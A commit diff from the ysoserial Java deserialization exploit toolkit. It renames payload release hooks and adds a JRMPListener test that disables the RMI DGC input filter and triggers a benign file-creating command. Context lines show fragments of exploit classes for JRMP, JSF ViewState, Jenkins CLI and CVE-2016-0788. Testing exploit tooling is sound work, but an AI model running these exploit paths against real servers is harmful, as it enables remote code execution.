jrmp listener test case

This commit is contained in:
Chris Frohoff
2022-05-09 21:04:00 -07:00
parent c6a0123f0b
commit 8804dcb1dd
22 changed files with 210 additions and 96 deletions
+1 -1
View File
@@ -34,7 +34,7 @@ public class GeneratePayload {
final Object object = payload.getObject(command); final Object object = payload.getObject(command);
PrintStream out = System.out; PrintStream out = System.out;
Serializer.serialize(object, out); Serializer.serialize(object, out);
ObjectPayload.Utils.releasePayload(payload, object); ObjectPayload.Utils.postSerializeRelease(payload, object);
} catch (Throwable e) { } catch (Throwable e) {
System.err.println("Error while generating or serializing payload"); System.err.println("Error while generating or serializing payload");
e.printStackTrace(); e.printStackTrace();
+1 -1
View File
@@ -124,7 +124,7 @@ public class JBoss {
} }
doRun(u, payloadObject, username, password); doRun(u, payloadObject, username, password);
Utils.releasePayload(args[1], payloadObject); Utils.postSerializeRelease(args[1], payloadObject);
} }
@@ -20,11 +20,11 @@ import ysoserial.payloads.ObjectPayload.Utils;
/** /**
* Generic JRMP client * Generic JRMP client
* *
* Pretty much the same thing as {@link RMIRegistryExploit} but * Pretty much the same thing as {@link RMIRegistryExploit} but
* - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener) * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
* - not deserializing anything (so you don't get yourself exploited ;)) * - not deserializing anything (so you don't get yourself exploited ;))
* *
* @author mbechler * @author mbechler
* *
*/ */
@@ -49,7 +49,7 @@ public class JRMPClient {
catch ( Exception e ) { catch ( Exception e ) {
e.printStackTrace(System.err); e.printStackTrace(System.err);
} }
Utils.releasePayload(args[2], payloadObject); Utils.postSerializeRelease(args[2], payloadObject);
} }
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException { public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
@@ -80,7 +80,7 @@ public class JRMPClient {
objOut.writeInt(1); // dirty objOut.writeInt(1); // dirty
objOut.writeLong(-669196253586618813L); objOut.writeLong(-669196253586618813L);
objOut.writeObject(payloadObject); objOut.writeObject(payloadObject);
os.flush(); os.flush();
@@ -96,8 +96,8 @@ public class JRMPClient {
} }
static final class MarshalOutputStream extends ObjectOutputStream { static final class MarshalOutputStream extends ObjectOutputStream {
private URL sendUrl; private URL sendUrl;
public MarshalOutputStream (OutputStream out, URL u) throws IOException { public MarshalOutputStream (OutputStream out, URL u) throws IOException {
@@ -119,7 +119,7 @@ public class JRMPClient {
else { else {
URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs(); URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();
String cb = ""; String cb = "";
for ( URL u : us ) { for ( URL u : us ) {
cb += u.toString(); cb += u.toString();
} }
@@ -137,5 +137,5 @@ public class JRMPClient {
} }
} }
} }
@@ -122,7 +122,7 @@ public class JRMPListener implements Runnable {
System.err.println("Listener error"); System.err.println("Listener error");
e.printStackTrace(System.err); e.printStackTrace(System.err);
} }
Utils.releasePayload(args[1], payloadObject); Utils.postSerializeRelease(args[1], payloadObject);
} }
+8 -8
View File
@@ -16,19 +16,19 @@ import ysoserial.payloads.ObjectPayload.Utils;
/** /**
* JSF view state exploit * JSF view state exploit
* *
* Delivers a gadget payload via JSF ViewState token. * Delivers a gadget payload via JSF ViewState token.
* *
* This will only work if ViewState encryption/mac is disabled. * This will only work if ViewState encryption/mac is disabled.
* *
* While it has been long known that client side state saving * While it has been long known that client side state saving
* with encryption disabled leads to RCE via EL injection, * with encryption disabled leads to RCE via EL injection,
* this of course also works with deserialization gadgets. * this of course also works with deserialization gadgets.
* *
* Also, it turns out that MyFaces is vulnerable to this even when * Also, it turns out that MyFaces is vulnerable to this even when
* using server-side state saving * using server-side state saving
* (yes, please, let's (de-)serialize a String as an Object). * (yes, please, let's (de-)serialize a String as an Object).
* *
* @author mbechler * @author mbechler
* *
*/ */
@@ -71,7 +71,7 @@ public class JSF {
catch ( Exception e ) { catch ( Exception e ) {
e.printStackTrace(System.err); e.printStackTrace(System.err);
} }
Utils.releasePayload(args[1], payloadObject); Utils.postSerializeRelease(args[1], payloadObject);
} }
+10 -10
View File
@@ -28,13 +28,13 @@ import ysoserial.payloads.util.Reflections;
/** /**
* Jenkins CLI client * Jenkins CLI client
* *
* Jenkins unfortunately is still using a custom serialization based * Jenkins unfortunately is still using a custom serialization based
* protocol for remote communications only protected by a blacklisting * protocol for remote communications only protected by a blacklisting
* application level filter. * application level filter.
* *
* This is a generic client delivering a gadget chain payload via that protocol. * This is a generic client delivering a gadget chain payload via that protocol.
* *
* @author mbechler * @author mbechler
* *
*/ */
@@ -67,7 +67,7 @@ public class JenkinsCLI {
} }
} }
} }
Utils.releasePayload(args[1], payloadObject); Utils.postSerializeRelease(args[1], payloadObject);
} }
public static Callable<?, ?> getPropertyCallable ( final Object prop ) public static Callable<?, ?> getPropertyCallable ( final Object prop )
@@ -84,19 +84,19 @@ public class JenkinsCLI {
public static InetSocketAddress getCliPort ( String jenkinsUrl ) throws MalformedURLException, IOException { public static InetSocketAddress getCliPort ( String jenkinsUrl ) throws MalformedURLException, IOException {
URL u = new URL(jenkinsUrl); URL u = new URL(jenkinsUrl);
URLConnection conn = u.openConnection(); URLConnection conn = u.openConnection();
if ( ! ( conn instanceof HttpURLConnection ) ) { if ( ! ( conn instanceof HttpURLConnection ) ) {
System.err.println("Not a HTTP URL"); System.err.println("Not a HTTP URL");
throw new MalformedURLException(); throw new MalformedURLException();
} }
HttpURLConnection hc = (HttpURLConnection) conn; HttpURLConnection hc = (HttpURLConnection) conn;
if ( hc.getResponseCode() >= 400 ) { if ( hc.getResponseCode() >= 400 ) {
System.err.println("* Error connection to jenkins HTTP " + u); System.err.println("* Error connection to jenkins HTTP " + u);
} }
int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port")); int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port"));
return new InetSocketAddress(u.getHost(), clip); return new InetSocketAddress(u.getHost(), clip);
} }
@@ -105,13 +105,13 @@ public class JenkinsCLI {
Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
s.setKeepAlive(true); s.setKeepAlive(true);
s.setTcpNoDelay(true); s.setTcpNoDelay(true);
System.err.println("* Opening channel"); System.err.println("* Opening channel");
OutputStream outputStream = s.getOutputStream(); OutputStream outputStream = s.getOutputStream();
DataOutputStream dos = new DataOutputStream(outputStream); DataOutputStream dos = new DataOutputStream(outputStream);
dos.writeUTF("Protocol:CLI-connect"); dos.writeUTF("Protocol:CLI-connect");
ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() { ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() {
public Thread newThread ( Runnable r ) { public Thread newThread ( Runnable r ) {
Thread t = new Thread(r, "Channel"); Thread t = new Thread(r, "Channel");
t.setDaemon(true); t.setDaemon(true);
@@ -31,18 +31,18 @@ import ysoserial.payloads.util.Reflections;
/** /**
* CVE-2016-0788 exploit (1) * CVE-2016-0788 exploit (1)
* *
* 1. delivers a ysoserial.payloads.JRMPListener payload to jenkins via it's remoting protocol. * 1. delivers a ysoserial.payloads.JRMPListener payload to jenkins via it's remoting protocol.
* 2. that payload causes the remote server to open up an JRMP listener (and export an object). * 2. that payload causes the remote server to open up an JRMP listener (and export an object).
* 3. connect to that JRMP listener and deliver any otherwise blacklisted payload. * 3. connect to that JRMP listener and deliver any otherwise blacklisted payload.
* *
* Extra twist: * Extra twist:
* The well-known objects exported by the listener use the system classloader which usually * The well-known objects exported by the listener use the system classloader which usually
* won't contain the targeted classes. Therefor we need to get ahold of the exported object's id * won't contain the targeted classes. Therefor we need to get ahold of the exported object's id
* (which is using jenkins' classloader) that typically is properly randomized. * (which is using jenkins' classloader) that typically is properly randomized.
* Fortunately - for the exploiting party - there is also a gadget that allows to leak * Fortunately - for the exploiting party - there is also a gadget that allows to leak
* that identifier via an exception. * that identifier via an exception.
* *
* @author mbechler * @author mbechler
*/ */
@SuppressWarnings ( { @SuppressWarnings ( {
@@ -78,7 +78,7 @@ public class JenkinsListener {
System.err.println("* JarLoader oid is " + oid); System.err.println("* JarLoader oid is " + oid);
Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort)); Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort));
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass); Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass);
@@ -196,7 +196,7 @@ public class JenkinsListener {
final Object object = payload.getObject(payloadArg); final Object object = payload.getObject(payloadArg);
objOut.writeObject(object); objOut.writeObject(object);
os.flush(); os.flush();
ObjectPayload.Utils.releasePayload(payload, object); ObjectPayload.Utils.postSerializeRelease(payload, object);
} }
catch ( Exception e ) { catch ( Exception e ) {
e.printStackTrace(System.err); e.printStackTrace(System.err);
@@ -7,20 +7,19 @@ import java.rmi.registry.Registry;
import java.util.Random; import java.util.Random;
import hudson.remoting.Channel; import hudson.remoting.Channel;
import ysoserial.exploit.JRMPListener;
import ysoserial.payloads.JRMPClient; import ysoserial.payloads.JRMPClient;
import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.payloads.ObjectPayload.Utils;
/** /**
* CVE-2016-0788 exploit (2) * CVE-2016-0788 exploit (2)
* *
* - Sets up a local {@link JRMPListener} * - Sets up a local {@link JRMPListener}
* - Delivers a {@link ysoserial.payloads.JRMPClient} payload via the CLI protocol * - Delivers a {@link ysoserial.payloads.JRMPClient} payload via the CLI protocol
* that will cause the remote to open a JRMP connection to our listener * that will cause the remote to open a JRMP connection to our listener
* - upon connection the specified payload will be delivered to the remote * - upon connection the specified payload will be delivered to the remote
* (that will deserialize using a default ObjectInputStream) * (that will deserialize using a default ObjectInputStream)
* *
* @author mbechler * @author mbechler
* *
*/ */
@@ -75,6 +74,6 @@ public class JenkinsReverse {
} }
} }
} }
Utils.releasePayload(args[2], payloadObject); Utils.postSerializeRelease(args[2], payloadObject);
} }
} }
@@ -78,7 +78,7 @@ public class RMIRegistryExploit {
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
} }
Utils.releasePayload(payloadObj, payload); Utils.postSerializeRelease(payloadObj, payload);
return null; return null;
}}); }});
} }
@@ -43,7 +43,7 @@ import ysoserial.payloads.util.Reflections;
} ) } )
@PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", precondition = "isApplicableJavaVersion", flaky = "possible race condition") @PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", precondition = "isApplicableJavaVersion", flaky = "possible race condition")
@Authors({ Authors.MBECHLER }) @Authors({ Authors.MBECHLER })
public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> { public class FileUpload1 implements PostSerializeReleasable<DiskFileItem> {
public static boolean isApplicableJavaVersion() { public static boolean isApplicableJavaVersion() {
return JavaVersion.isAtLeast(7); return JavaVersion.isAtLeast(7);
} }
@@ -73,7 +73,7 @@ public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
} }
public void release ( DiskFileItem obj ) throws Exception { public void postSerializeRelease(DiskFileItem obj ) throws Exception {
// otherwise the finalizer deletes the file // otherwise the finalizer deletes the file
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null); DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
Reflections.setFieldValue(obj, "dfos", dfos); Reflections.setFieldValue(obj, "dfos", dfos);
@@ -7,6 +7,7 @@ import java.rmi.server.UnicastRemoteObject;
import sun.rmi.server.ActivationGroupImpl; import sun.rmi.server.ActivationGroupImpl;
import sun.rmi.server.UnicastServerRef; import sun.rmi.server.UnicastServerRef;
import sun.rmi.transport.ObjectTable;
import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
@@ -34,9 +35,9 @@ import ysoserial.payloads.util.Reflections;
@SuppressWarnings ( { @SuppressWarnings ( {
"restriction" "restriction"
} ) } )
@PayloadTest( skip = "This test would make you potentially vulnerable") @PayloadTest(harness="ysoserial.test.payloads.JRMPListenerTest")
@Authors({ Authors.MBECHLER }) @Authors({ Authors.MBECHLER })
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> { public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject>, PostDeserializeReleasable<UnicastRemoteObject> {
public UnicastRemoteObject getObject ( final String command ) throws Exception { public UnicastRemoteObject getObject ( final String command ) throws Exception {
int jrmpPort = Integer.parseInt(command); int jrmpPort = Integer.parseInt(command);
@@ -50,8 +51,13 @@ public class JRMPListener extends PayloadRunner implements ObjectPayload<Unicast
return uro; return uro;
} }
@Override
public void postDeserializeRelease(UnicastRemoteObject obj) throws Exception {
// unexport ref to allow listener thread (and jvm) to exit
ObjectTable.unexportObject(obj, true);
}
public static void main ( final String[] args ) throws Exception { public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(JRMPListener.class, args); UnicastRemoteObject uro = PayloadRunner.run(JRMPListener.class, new String[] { "44444" });
} }
} }
@@ -76,14 +76,14 @@ public interface ObjectPayload <T> {
@SuppressWarnings ( "unchecked" ) @SuppressWarnings ( "unchecked" )
public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception { public static void postSerializeRelease(ObjectPayload payload, Object object ) throws Exception {
if ( payload instanceof ReleaseableObjectPayload ) { if ( payload instanceof PostSerializeReleasable) {
( (ReleaseableObjectPayload) payload ).release(object); ((PostSerializeReleasable) payload).postSerializeRelease(object);
} }
} }
public static void releasePayload ( String payloadType, Object payloadObject ) { public static void postSerializeRelease(String payloadType, Object payloadObject ) {
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
@@ -92,12 +92,17 @@ public interface ObjectPayload <T> {
try { try {
final ObjectPayload payload = payloadClass.newInstance(); final ObjectPayload payload = payloadClass.newInstance();
releasePayload(payload, payloadObject); postSerializeRelease(payload, payloadObject);
} }
catch ( Exception e ) { catch ( Exception e ) {
e.printStackTrace(); e.printStackTrace();
} }
}
public static void postDeserializeRelease(ObjectPayload payload, Object object ) throws Exception {
if ( payload instanceof PostDeserializeReleasable) {
((PostDeserializeReleasable) payload).postDeserializeRelease(object);
}
} }
} }
} }
@@ -0,0 +1,6 @@
package ysoserial.payloads;
public interface PostDeserializeReleasable<T> extends ObjectPayload<T> {
void postDeserializeRelease(T obj) throws Exception;
}
@@ -0,0 +1,5 @@
package ysoserial.payloads;
public interface PostSerializeReleasable<T> extends ObjectPayload<T> {
void postSerializeRelease(T obj ) throws Exception;
}
@@ -1,11 +0,0 @@
package ysoserial.payloads;
/**
* @author mbechler
*
*/
public interface ReleaseableObjectPayload<T> extends ObjectPayload<T> {
void release( T obj ) throws Exception;
}
@@ -49,7 +49,7 @@ import ysoserial.payloads.util.Reflections;
@PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", flaky="possible race condition") @PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", flaky="possible race condition")
@Dependencies({"org.apache.wicket:wicket-util:6.23.0", "org.slf4j:slf4j-api:1.6.4"}) @Dependencies({"org.apache.wicket:wicket-util:6.23.0", "org.slf4j:slf4j-api:1.6.4"})
@Authors({ Authors.JACOBAINES }) @Authors({ Authors.JACOBAINES })
public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> { public class Wicket1 implements PostSerializeReleasable<DiskFileItem> {
public DiskFileItem getObject(String command) throws Exception { public DiskFileItem getObject(String command) throws Exception {
@@ -77,7 +77,7 @@ public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
} }
public void release(DiskFileItem obj) throws Exception { public void postSerializeRelease(DiskFileItem obj) throws Exception {
} }
private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception { private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception {
@@ -2,7 +2,6 @@ package ysoserial.payloads.util;
import java.util.concurrent.Callable; import java.util.concurrent.Callable;
import ysoserial.Deserializer;
import ysoserial.Serializer; import ysoserial.Serializer;
import static ysoserial.Deserializer.deserialize; import static ysoserial.Deserializer.deserialize;
import static ysoserial.Serializer.serialize; import static ysoserial.Serializer.serialize;
@@ -16,30 +15,40 @@ import ysoserial.secmgr.ExecCheckingSecurityManager;
@SuppressWarnings("unused") @SuppressWarnings("unused")
public class PayloadRunner { public class PayloadRunner {
public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception { public static <T> T run(final Class<? extends ObjectPayload<T>> clazz, final String[] args) throws Exception {
return run(clazz, args, false);
}
public static <T> T run(final Class<? extends ObjectPayload<T>> clazz, final String[] args, boolean releasePostDeserialize) throws Exception {
// ensure payload generation doesn't throw an exception // ensure payload generation doesn't throw an exception
final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();
System.out.println("generating payload object(s) for command: '" + command + "'");
final ObjectPayload<?> payload = clazz.newInstance();
byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>(){ byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>(){
public byte[] call() throws Exception { public byte[] call() throws Exception {
final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();
System.out.println("generating payload object(s) for command: '" + command + "'");
ObjectPayload<?> payload = clazz.newInstance();
final Object objBefore = payload.getObject(command); final Object objBefore = payload.getObject(command);
System.out.println("serializing payload"); System.out.println("serializing payload");
byte[] ser = Serializer.serialize(objBefore); byte[] ser = Serializer.serialize(objBefore);
Utils.releasePayload(payload, objBefore); Utils.postSerializeRelease(payload, objBefore);
return ser; return ser;
}}); }});
try { try {
System.out.println("deserializing payload"); System.out.println("deserializing payload");
final Object objAfter = Deserializer.deserialize(serialized); T deserialize = (T) deserialize(serialized);
if (releasePostDeserialize) {
Utils.postDeserializeRelease(payload, deserialize);
}
return deserialize;
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
return null;
} }
} }
private static String getDefaultTestCmd() { private static String getDefaultTestCmd() {
@@ -1,9 +1,6 @@
package ysoserial.payloads.util; package ysoserial.payloads.util;
import java.lang.reflect.AccessibleObject; import java.lang.reflect.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import sun.reflect.ReflectionFactory; import sun.reflect.ReflectionFactory;
@@ -29,27 +26,46 @@ public class Reflections {
public static Field getField(final Class<?> clazz, final String fieldName) { public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null; Field field = null;
try { try {
field = clazz.getDeclaredField(fieldName); field = clazz.getDeclaredField(fieldName);
setAccessible(field); setAccessible(field);
} } catch (NoSuchFieldException ex) {
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null) if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName); field = getField(clazz.getSuperclass(), fieldName);
} }
return field; return field;
} }
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { public static void setFieldValue(Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName); Class clazz = obj instanceof Class ? (Class) obj : obj.getClass();
obj = obj instanceof Class ? null : obj;
final Field field = getField(clazz, fieldName);
field.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
field.set(obj, value); field.set(obj, value);
} }
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { public static Object getFieldValue(Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName); Class clazz = obj instanceof Class ? (Class) obj : obj.getClass();
obj = obj instanceof Class ? null : obj;
final Field field = getField(clazz, fieldName);
return field.get(obj); return field.get(obj);
} }
public static Object getFieldValues(Object obj, final String ... fieldNames) throws Exception {
for (String fieldName : fieldNames) {
if (obj == null) {
throw new NullPointerException();
}
obj = getFieldValue(obj, fieldName);
}
return obj;
}
public static Constructor<?> getFirstCtor(final String name) throws Exception { public static Constructor<?> getFirstCtor(final String name) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0]; final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
setAccessible(ctor); setAccessible(ctor);
@@ -28,10 +28,14 @@ public class CommandExecTest implements CustomTest {
@Override @Override
public String getPayloadArgs() { public String getPayloadArgs() {
return getTouchCmd(testFile.toString());
}
public static String getTouchCmd(String file) {
switch (OS.get()) { switch (OS.get()) {
case OSX: case OSX:
case LINUX: return "touch " + testFile; case LINUX: return "touch " + file;
case WINDOWS: return "powershell -command new-item -type file " + testFile; case WINDOWS: return "powershell -command new-item -type file " + file;
default: throw new UnsupportedOperationException("unsupported os"); default: throw new UnsupportedOperationException("unsupported os");
} }
} }
@@ -0,0 +1,66 @@
package ysoserial.test.payloads;
import org.junit.Assert;
import sun.misc.ObjectInputFilter;
import sun.rmi.transport.ObjectTable;
import ysoserial.Strings;
import ysoserial.exploit.JRMPClient;
import ysoserial.payloads.JRMPListener;
import ysoserial.payloads.util.Reflections;
import ysoserial.test.CustomTest;
import ysoserial.test.util.Files;
import ysoserial.test.util.OS;
import java.io.File;
import java.rmi.Remote;
import java.util.Random;
import java.util.concurrent.Callable;
public class JRMPListenerTest implements CustomTest, NeedsAddlClasses {
private final File testFile = new File(OS.getTmpDir(), "ysoserial-test-" + Strings.randUUID());
private final int port = 16000 + new Random().nextInt(16000);
@Override
public void run(Callable<Object> payload) throws Exception {
Assert.assertFalse("test file shouldn't exist", testFile.exists());
// disable ObjectInputFilter
Reflections.setFieldValue(Class.forName("sun.rmi.transport.DGCImpl"), "dgcFilter", new Filter());
// open listener
Remote res = (Remote) payload.call();
try {
// send payload
JRMPClient.makeDGCCall("localhost", port, new TestHarnessTest.ExecMockSerializable(CommandExecTest.getTouchCmd(testFile.toString())));
Files.waitForFile(testFile, 5000);
Assert.assertTrue("test file should exist", testFile.exists());
} finally {
// close listener
// TODO move to postDeserRelease
ObjectTable.unexportObject(res, true);
}
}
@Override
public String getPayloadArgs() {
return "" + port;
}
public static void main(String[] args) throws Exception {
PayloadsTest.testPayload(JRMPListener.class, new Class[0]);
}
public Class[] getAddlClasses() {
return new Class[] { TestHarnessTest.ExecMockSerializable.class };
}
public static class Filter implements ObjectInputFilter {
@Override
public Status checkInput(FilterInfo filterInfo) {
return Status.ALLOWED;
}
}
}
@@ -0,0 +1,5 @@
package ysoserial.test.payloads;
public interface NeedsAddlClasses {
public Class[] getAddlClasses();
}
@@ -7,10 +7,7 @@ import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.net.MalformedURLException; import java.net.MalformedURLException;
import java.net.URL; import java.net.URL;
import java.util.Arrays; import java.util.*;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import java.util.concurrent.Callable; import java.util.concurrent.Callable;
import org.jboss.shrinkwrap.resolver.api.maven.Maven; import org.jboss.shrinkwrap.resolver.api.maven.Maven;
@@ -25,7 +22,6 @@ import org.junit.runners.Parameterized.Parameters;
import ysoserial.*; import ysoserial.*;
import ysoserial.payloads.DynamicDependencies; import ysoserial.payloads.DynamicDependencies;
import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.test.CustomTest; import ysoserial.test.CustomTest;
import ysoserial.test.CustomDeserializer; import ysoserial.test.CustomDeserializer;
import ysoserial.test.CustomPayloadArgs; import ysoserial.test.CustomPayloadArgs;
@@ -75,7 +71,7 @@ public class PayloadsTest {
} }
public static void testPayload(final Class<? extends ObjectPayload<?>> payloadClass, final Class<?>[] addlClassesForClassLoader) public static void testPayload(final Class<? extends ObjectPayload<?>> payloadClass, Class<?>[] addlClassesForClassLoader)
throws Exception { throws Exception {
System.out.println("Testing payload: " + payloadClass.getName()); System.out.println("Testing payload: " + payloadClass.getName());
@@ -123,6 +119,13 @@ public class PayloadsTest {
customDeserializer = ((CustomDeserializer)testHarness).getCustomDeserializer(); customDeserializer = ((CustomDeserializer)testHarness).getCustomDeserializer();
} }
if (testHarness instanceof NeedsAddlClasses) {
List<Class> classes = new LinkedList<Class>();
classes.addAll(Arrays.asList(addlClassesForClassLoader));
classes.addAll(Arrays.asList(((NeedsAddlClasses) testHarness).getAddlClasses()));
addlClassesForClassLoader = classes.toArray(new Class[classes.size()]);
}
// TODO per-thread secmgr to enforce no detonation during deserialization // TODO per-thread secmgr to enforce no detonation during deserialization
final byte[] serialized = makeSerializeCallable(payloadClass, payloadCommand).call(); final byte[] serialized = makeSerializeCallable(payloadClass, payloadCommand).call();
Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized, customDeserializer); Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized, customDeserializer);
@@ -157,7 +160,7 @@ public class PayloadsTest {
ObjectPayload<?> payload = payloadClass.newInstance(); ObjectPayload<?> payload = payloadClass.newInstance();
final Object f = payload.getObject(command); final Object f = payload.getObject(command);
byte[] serialized = Serializer.serialize(f); byte[] serialized = Serializer.serialize(f);
ObjectPayload.Utils.releasePayload(payload, f); ObjectPayload.Utils.postSerializeRelease(payload, f);
return serialized; return serialized;
} }
}; };
@@ -246,6 +249,7 @@ public class PayloadsTest {
// .workOffline(JavaVersion.getLocalVersion().major == 6) // use cached deps for java 1.6 // .workOffline(JavaVersion.getLocalVersion().major == 6) // use cached deps for java 1.6
.withRemoteRepo("central", "https://repo1.maven.org/maven2/", "default") .withRemoteRepo("central", "https://repo1.maven.org/maven2/", "default")
.withMavenCentralRepo(false) .withMavenCentralRepo(false)
.useLegacyLocalRepo(true)
// .withRemoteRepo("jenkins", "https://repo.jenkins-ci.org/public/", "default") // .withRemoteRepo("jenkins", "https://repo.jenkins-ci.org/public/", "default")
.resolve(dependencies).withoutTransitivity().asFile() .resolve(dependencies).withoutTransitivity().asFile()
: new File[0]; : new File[0];